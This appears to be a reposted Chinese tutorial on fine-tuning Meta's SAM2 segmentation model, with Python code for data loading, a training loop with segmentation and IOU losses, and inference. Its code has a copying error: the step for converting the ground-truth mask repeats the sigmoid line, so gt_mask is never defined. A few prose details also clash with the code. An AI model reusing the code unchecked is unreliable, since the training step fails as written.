SAM2（Segment Anything 2）是 Meta 推出的一款新模型，旨在對圖像中的任何內容進行分割，而不局限于特定的類別或領域。該模型的獨特之處在于其訓練數據規模：1100 萬張圖像和 110 億個掩碼。這種廣泛的訓練使 SAM2 成為訓練新圖像分割任務的強大起點。

你可能會問，如果 SAM 可以分割任何東西，為什么我們還需要重新訓練它？答案是 SAM 在常見物體方面非常出色，但在罕見或特定領域的任務上表現不佳。

但是，即使在 SAM 給出的結果不足的情況下，仍然可以通過在新數據上對其進行微調來顯著提高模型的能力。在許多情況下，這將比從頭開始訓練模型占用更少的訓練數據并獲得更好的結果。

本教程演示了如何在僅 60 行代碼（不包括標注和導入）中對新數據進行微調 SAM2。

完整的訓練腳本可以在這里找到。

NSDT工具推薦： Three.js AI紋理開發包 - YOLO合成數據生成器 - GLTF/GLB在線編輯 - 3D模型格式在線轉換 - 可編程3D場景編輯器 - REVIT導出3D模型插件 - 3D模型語義搜索引擎 - Three.js虛擬軸心開發包 - 3D模型在線減面 - STL模型在線切割

1、SAM的工作原理

SAM 的主要工作方式是獲取圖像和圖像中的一個點，并預測包含該點的片段的掩碼。這種方法無需人工干預即可實現完整的圖像分割，并且對片段的類別或類型沒有任何限制（如上一篇文章所述）。

使用 SAM 進行完整圖像分割的過程：

• 選擇圖像中的一組點
• 使用 SAM 預測包含每個點的片段
• 將生成的片段組合成單個地圖

雖然 SAM 還可以利用其他輸入，例如掩碼或邊界框，但這些輸入主要與涉及人工輸入的交互式分割相關。在本教程中，我們將重點介紹全自動分割，并且僅考慮單點輸入。

有關該模型的更多詳細信息，請訪問SAM項目網站。

2、下載 SAM2 并設置環境

SAM2 可從這里下載。如果你不想復制訓練代碼，也可以下載我分叉的版本，其中已經包含TRAIN.py腳本。

然后按照 github 存儲庫上的安裝說明進行操作。通常，你需要 Python >=3.11 和 PyTorch。

此外，我們將使用 OpenCV，可以使用以下方式安裝：

pip install opencv-python

你還需要從這里下載預訓練模型，你可以從多種模型中進行選擇，所有模型都與本教程兼容。我建議使用訓練速度最快的小型模型。

下一步是下載用于微調模型的數據集。在本教程中，我們將使用 LabPics1 數據集來分割材料和液體。你可以從這里下載數據集。

4、準備數據讀取器

我們需要編寫的第一件事是數據讀取器。它將讀取并準備網絡數據。

數據讀取器需要生成：

• 圖像
• 圖像中所有片段的蒙版。
• 以及每個蒙版內的隨機點

讓我們從加載依賴項開始：

import numpy as np
import torch
import cv2
import os
from sam2.build_sam import build_sam2
from sam2.sam2_image_predictor import SAM2ImagePredictor

接下來我們列出數據集中的所有圖像：

data_dir=r"LabPicsV1//" # Path to LabPics1 dataset folder
data=[] # list of files in dataset
for ff, name in enumerate(os.listdir(data_dir+"Simple/Train/Image/")):  # go over all folder annotation
    data.append({"image":data_dir+"Simple/Train/Image/"+name,"annotation":data_dir+"Simple/Train/Instance/"+name[:-4]+".png"})

現在介紹加載訓練批次的主要函數。訓練批次包括：一張隨機圖像、屬于該圖像的所有分割掩碼以及每個掩碼中的一個隨機點：

def read_batch(data): # read random image and its annotaion from  the dataset (LabPics)

   #  select image

        ent=data[np.random.randint(len(data))] # choose random entry
        Img=cv2.imread(ent["image"])[...,::-1]  # read image
        ann_map=cv2.imread(ent["annotation"]) # read annotation

   # resize image

        r=np.min([1024 / Img.shape[1], 1024 / Img.shape[0]]) # scalling factor
        Img=cv2.resize(Img, (int(Img.shape[1] * r), int(Img.shape[0] * r)))
        ann_map=cv2.resize(ann_map, (int(ann_map.shape[1] * r), int(ann_map.shape[0] * r)),interpolation=cv2.INTER_NEAREST)

   # merge vessels and materials annotations

        mat_map=ann_map[:,:,0] # material annotation map
        ves_map=ann_map[:,:,2] # vessel  annotaion map
        mat_map[mat_map==0]=ves_map[mat_map==0]*(mat_map.max()+1) # merged map

   # Get binary masks and points

        inds=np.unique(mat_map)[1:] # load all indices
        points=[]
        masks=[] 
        for ind in inds:
            mask=(mat_map==ind).astype(np.uint8) # make binary mask
            masks.append(mask)
            coords=np.argwhere(mask > 0) # get all coordinates in mask
            yx=np.array(coords[np.random.randint(len(coords))]) # choose random point/coordinate
            points.append([[yx[1], yx[0]]])
        return Img,np.array(masks),np.array(points), np.ones([len(masks),1])

該函數的第一部分是選擇一個隨機圖像并加載它：

ent=data[np.random.randint(len(data))] # choose random entry
Img=cv2.imread(ent["image"])[...,::-1]  # read image
ann_map=cv2.imread(ent["annotation"]) # read annotation
Note that OpenCV reads images as BGR while SAM expects images as RGB, using […,::-1] to change the image from BGR to RGB.

請注意，OpenCV 將圖像讀取為 BGR，而 SAM 需要 RGB 圖像。通過使用 […,::-1]，我們將圖像從 BGR 更改為 RGB。

SAM 預計圖像大小不超過 1024，因此我們將調整圖像和注釋圖的大小至此大小：

r=np.min([1024 / Img.shape[1], 1024 / Img.shape[0]]) # scalling factor
Img=cv2.resize(Img, (int(Img.shape[1] * r), int(Img.shape[0] * r)))
ann_map=cv2.resize(ann_map, (int(ann_map.shape[1] * r), int(ann_map.shape[0] * r)),interpolation=cv2.INTER_NEAREST)

這里的一個重點是，在調整標注圖 (ann_map) 的大小時，我們使用 INTER_NEAREST 模式（最近鄰）。在注釋圖中，每個像素值都是其所屬段的索引。因此，使用不會向地圖引入新值的調整大小方法非常重要。

下一個塊特定于 LabPics1 數據集的格式。標注圖 (ann_map) 在一個通道中包含圖像中血管的分割圖，在另一個通道中包含材料注釋的另一個圖。我們將把它們合并成一張地圖。

  mat_map=ann_map[:,:,0] # material annotation map
  ves_map=ann_map[:,:,2] # vessel  annotaion map
  mat_map[mat_map==0]=ves_map[mat_map==0]*(mat_map.max()+1) # merged map

這為我們提供了一個映射 (mat_map)，其中每個像素的值是其所屬段的索引（例如：所有值為 3 的單元格都屬于段 3）。我們希望將其轉換為一組二進制掩碼 (0/1)，其中每個掩碼對應不同的段。此外，我們希望從每個掩碼中提取一個點。

inds=np.unique(mat_map)[1:] # list of all indices in map
points=[] # list of all points (one for each mask)
masks=[] # list of all masks
for ind in inds:
            mask=(mat_map==ind).astype(np.uint8) # make binary mask for index ind
            masks.append(mask)
            coords=np.argwhere(mask > 0) # get all coordinates in mask
            yx=np.array(coords[np.random.randint(len(coords))]) # choose random point/coordinate
            points.append([[yx[1], yx[0]]])
return Img,np.array(masks),np.array(points), np.ones([len(masks),1])

就是這樣！我們得到了圖像（Img）中與圖像中的片段（masks）相對應的二進制掩碼列表，以及每個掩碼中單個點的坐標（points）。

一批訓練數據的示例：1）圖像。2）片段掩碼列表。3）每個掩碼內的單個點（僅為可視化標記為紅色）

5、加載 SAM 模型

現在讓我們加載網絡：

sam2_checkpoint="sam2_hiera_small.pt" # path to model weight
model_cfg="sam2_hiera_s.yaml" # model config
sam2_model=build_sam2(model_cfg, sam2_checkpoint, device="cuda") # load model
predictor=SAM2ImagePredictor(sam2_model) # load net

首先，我們在 sam2_checkpoint 參數中設置模型權重的路徑。我們之前從這里下載了權重。“sam2_hiera_small.pt”指的是小模型，但代碼適用于你選擇的任何模型。無論選擇哪種模型，都需要在 model_cfg 參數中設置相應的配置文件。配置文件已經位于主存儲庫的子文件夾“sam2_configs/”中。

6、SAM模型的一般結構

在設置訓練參數之前，我們需要了解 SAM 模型的基本結構。

SAM 由三部分組成：1)圖像編碼器，2) 提示編碼器，3) 掩碼解碼器。

圖像編碼器負責處理圖像并創建表示圖像的嵌入。這部分由 VIT 轉換器組成，是網絡的最大組件。我們通常不想訓練它，因為它已經提供了良好的表示，訓練將需要大量資源。

提示編碼器處理網絡的額外輸入，在我們的例子中是輸入點。

掩碼解碼器獲取圖像編碼器和提示編碼器的輸出并生成最終的分割掩碼。一般來說，我們只想訓練掩碼解碼器和提示編碼器。這些部分很輕量，可以用適中的 GPU 快速微調。

7、設置訓練參數

我們可以通過設置來啟用掩碼解碼器和提示編碼器的訓練：

predictor.model.sam_mask_decoder.train(True) # enable training of mask decoder 
predictor.model.sam_prompt_encoder.train(True) # enable training of prompt encoder

接下來，我們定義標準的adamW優化器：

optimizer=torch.optim.AdamW(params=predictor.model.parameters(),lr=1e-5,weight_decay=4e-5)

我們還將使用混合精度訓練，這是一種更節省內存的訓練策略：

scaler=torch.cuda.amp.GradScaler() # set mixed precision

8、主訓練循環

現在讓我們構建主訓練循環。第一部分是讀取和準備數據：

for itr in range(100000):
    with torch.cuda.amp.autocast(): # cast to mix precision
            image,mask,input_point, input_label=read_batch(data) # load data batch
            if mask.shape[0]==0: continue # ignore empty batches
            predictor.set_image(image) # apply SAM image encoder to the image

首先，我們將數據轉換為混合精度以實現高效訓練：

with torch.cuda.amp.autocast():

接下來，我們使用之前創建的讀取器函數來讀取訓練數據：

image,mask,input_point, input_label=read_batch(data)

我們將加載的圖像傳遞給圖像編碼器（網絡的第一部分）：

predictor.set_image(image)

接下來，我們使用網絡提示編碼器處理輸入點：

  mask_input, unnorm_coords, labels, unnorm_box=predictor._prep_prompts(input_point, input_label, box=None, mask_logits=None, normalize_coords=True)
  sparse_embeddings, dense_embeddings=predictor.model.sam_prompt_encoder(points=(unnorm_coords, labels),boxes=None,masks=None,)

請注意，在這一部分我們也可以輸入框或掩碼，但我們不會使用這些選項。

現在我們對提示（點）和圖像都進行了編碼，我們最終可以預測分割掩碼：

batched_mode=unnorm_coords.shape[0] > 1 # multi mask prediction
high_res_features=[feat_level[-1].unsqueeze(0) for feat_level in predictor._features["high_res_feats"]]
low_res_masks, prd_scores, _, _=predictor.model.sam_mask_decoder(image_embeddings=predictor._features["image_embed"][-1].unsqueeze(0),image_pe=predictor.model.sam_prompt_encoder.get_dense_pe(),sparse_prompt_embeddings=sparse_embeddings,dense_prompt_embeddings=dense_embeddings,multimask_output=True,repeat_image=batched_mode,high_res_features=high_res_features,)
prd_masks=predictor._transforms.postprocess_masks(low_res_masks, predictor._orig_hw[-1])# Upscale the masks to the original image resolution

此代碼的主要部分是 model.sam_mask_decoder，它運行網絡的 mask_decoder 部分并生成分割掩碼 (low_res_masks) 及其分數 (prd_scores)。

這些掩碼的分辨率低于原始輸入圖像，并在 postprocess_masks 函數中調整為原始輸入大小。

這為我們提供了網絡的最終預測：我們使用的每個輸入點的 3 個分割掩碼 (prd_masks) 和掩碼分數 (prd_scores)。prd_masks 包含每個輸入點的 3 個預測掩碼，但我們只會使用每個點的第一個掩碼。prd_scores 包含網絡認為每個掩碼有多好的分數（或它在預測中的確定性）。

9、損失函數

現在我們有了凈預測，我們可以計算損失了。首先，我們計算分割損失，這意味著預測的掩碼與地面真實掩碼相比有多好。為此，我們使用標準交叉熵損失。

首先，我們需要使用 sigmoid 函數將預測掩碼 (prd_mask) 從 logits 轉換為概率：

prd_mask=torch.sigmoid(prd_masks[:, 0])# Turn logit map to probability map

接下來我們將真實情況掩碼轉換為 torch 張量：

prd_mask=torch.sigmoid(prd_masks[:, 0])# Turn logit map to probability map

最后，我們使用基本事實（gt_mask）和預測概率圖（prd_mask）手動計算交叉熵損失（seg_loss）：

seg_loss=(-gt_mask * torch.log(prd_mask + 0.00001) - (1 - gt_mask) * torch.log((1 - prd_mask) + 0.00001)).mean() # cross entropy loss 

（我們添加 0.0001 以防止對數函數因零值而爆炸）。

分數損失（可選）

除了掩碼之外，網絡還預測每個預測掩碼的好壞分數。訓練這部分不太重要，但很有用。要訓練這部分，我們首先需要知道每個預測掩碼的真實分數是多少。也就是說，預測的掩碼實際上有多好。我們將通過使用交并比 (IOU) 指標比較 GT 掩碼和相應的預測掩碼來實現這一點。IOU 只是兩個掩碼之間的重疊，除以兩個掩碼的總面積。首先，我們計算預測和 GT 掩碼之間的交集（它們重疊的區域）：

inter=(gt_mask * (prd_mask > 0.5)).sum(1).sum(1)

我們使用閾值 (prd_mask > 0.5) 將預測掩碼從概率轉換為二元掩碼。

接下來，我們通過將交集除以預測掩碼和 gt 掩碼的組合面積（并集）來獲得 IOU：

iou=inter / (gt_mask.sum(1).sum(1) + (prd_mask > 0.5).sum(1).sum(1) - inter)

我們將使用 IOU 作為每個 mask 的真實分數，并將預測分數與我們剛剛計算的 IOU 之間的絕對差作為分數損失。

score_loss=torch.abs(prd_scores[:, 0] - iou).mean()

最后，我們合并分割損失和分數損失（給予第一個更高的權重）：

loss=seg_loss+score_loss*0.05  # mix losses

10、反向傳播和保存模型

一旦我們得到損失，一切都完全標準化了。我們使用之前制作的優化器計算反向傳播并更新權重：

predictor.model.zero_grad() # empty gradient
scaler.scale(loss).backward()  # Backpropogate
scaler.step(optimizer)
scaler.update() # Mix precision

我們還希望每 1000 步保存一次訓練好的模型：

if itr%1000==0: torch.save(predictor.model.state_dict(), "model.torch") # save model 

由于我們已經計算了 IOU，我們可以將其顯示為移動平均值，以查看模型預測隨時間的改善程度：

if itr==0: mean_iou=0
mean_iou=mean_iou * 0.99 + 0.01 * np.mean(iou.cpu().detach().numpy())
print("step)",itr, "Accuracy(IOU)=",mean_iou)

就這樣，我們用不到 60 行代碼（不包括注釋和導入）訓練/微調了 Segment-Anything 2。經過大約 25,000 步后，你應該會看到重大改進。

該模型將保存到“model.torch”。可以在這里找到完整的訓練代碼。

11、推理：加載和使用經過訓練的模型：

現在模型已經過微調，讓我們用它來分割圖像。

我們將使用以下步驟執行此操作：

• 加載我們剛剛訓練的模型。
• 給模型一張圖像和一堆隨機點。對于每個點，網絡將預測包含該點和分數的分割掩碼。
• 獲取這些掩碼并將它們拼接成一個分割圖。

執行此操作的完整代碼可在這里找到。

首先，我們加載依賴項并將權重轉換為 float16，這使得模型運行速度更快（僅適用于推理）。

# use bfloat16 for the entire script (memory efficient)
torch.autocast(device_type="cuda", dtype=torch.bfloat16).__enter__()

接下來，我們加載示例圖像和我們想要分割的圖像區域的蒙版（下載圖像/蒙版）：

image_path=r"sample_image.jpg" # path to image
mask_path=r"sample_mask.png" # path to mask, the mask will define the image region to segment
def read_image(image_path, mask_path): # read and resize image and mask
        img=cv2.imread(image_path)[...,::-1]  # read image as rgb
        mask=cv2.imread(mask_path,0) # mask of the region we want to segment
        
        # Resize image to maximum size of 1024

        r=np.min([1024 / img.shape[1], 1024 / img.shape[0]])
        img=cv2.resize(img, (int(img.shape[1] * r), int(img.shape[0] * r)))
        mask=cv2.resize(mask, (int(mask.shape[1] * r), int(mask.shape[0] * r)),interpolation=cv2.INTER_NEAREST)
        return img, mask
image,mask=read_image(image_path, mask_path)

在我們要分割的區域內隨機取樣30個點：

num_samples=30 # number of points/segment to sample
def get_points(mask,num_points): # Sample points inside the input mask
        points=[]
        for i in range(num_points):
            coords=np.argwhere(mask > 0)
            yx=np.array(coords[np.random.randint(len(coords))])
            points.append([[yx[1], yx[0]]])
        return np.array(points)
input_points=get_points(mask,num_samples)

首先，加載標準SAM模型（與訓練中相同）

# Load model you need to have pretrained model already made
sam2_checkpoint="sam2_hiera_small.pt" 
model_cfg="sam2_hiera_s.yaml" 
sam2_model=build_sam2(model_cfg, sam2_checkpoint, device="cuda")
predictor=SAM2ImagePredictor(sam2_model)

接下來，加載我們剛剛訓練的模型的權重（model.torch）：

predictor.model.load_state_dict(torch.load("model.torch"))

運行微調模型來預測我們選擇的每個點的掩碼：

with torch.no_grad(): # prevent the net from caclulate gradient (more efficient inference)
        predictor.set_image(image) # image encoder
        masks, scores, logits=predictor.predict(  # prompt encoder + mask decoder
            point_coords=input_points,
            point_labels=np.ones([input_points.shape[0],1])
        )

現在我們有了預測掩碼及其分數的列表。我們希望以某種方式將它們拼接成一個一致的分?割圖。但是，許多掩碼重疊并且可能彼此不一致。由于我們隨機選擇了這些點，因此很可能有些點會落在同一段中。

拼接方法很簡單，我們將根據預測的分數對預測的掩碼進行排序：

np_masks=np.array(masks[:,0].cpu().numpy()) # convert from torch to numpy
np_scores=scores[:,0].float().cpu().numpy() # convert from torch to numpy
shorted_masks=np_masks[np.argsort(np_scores)][::-1] # arrange mask according to score

現在讓我們創建一個空的分割圖和占用圖：

seg_map=np.zeros_like(shorted_masks[0],dtype=np.uint8)
occupancy_mask=np.zeros_like(shorted_masks[0],dtype=bool)

接下來，我們將蒙版逐一（從高分到低分）添加到分割圖中。我們只會在蒙版與之前添加的蒙版一致時才添加蒙版，也就是說，只有當我們想要添加的蒙版與已占用區域的重疊度小于 15% 時，我們才會添加蒙版。

for i in range(shorted_masks.shape[0]):
    mask=shorted_masks[i]
    if (mask*occupancy_mask).sum()/mask.sum()>0.15: continue 
    mask[occupancy_mask]=0
    seg_map[mask]=i+1
    occupancy_mask[mask]=1

就是這樣。

seg_mask 現在包含預測的分割圖，每個分割具有不同的值，背景為 0。

我們可以使用以下方法將其轉換為顏色圖：

rgb_image=np.zeros((seg_map.shape[0], seg_map.shape[1], 3), dtype=np.uint8)
for id_class in range(1,seg_map.max()+1):
    rgb_image[seg_map==id_class]=[np.random.randint(255), np.random.randint(255), np.random.randint(255)]

并顯示：

cv2.imshow("annotation",rgb_image)
cv2.imshow("mix",(rgb_image/2+image/2).astype(np.uint8))
cv2.imshow("image",image)
cv2.waitKey()

使用微調 SAM2 的分割結果示例

完整推理代碼可在此處獲取。

原文鏈接：SAM2分割模型微調 - BimAnt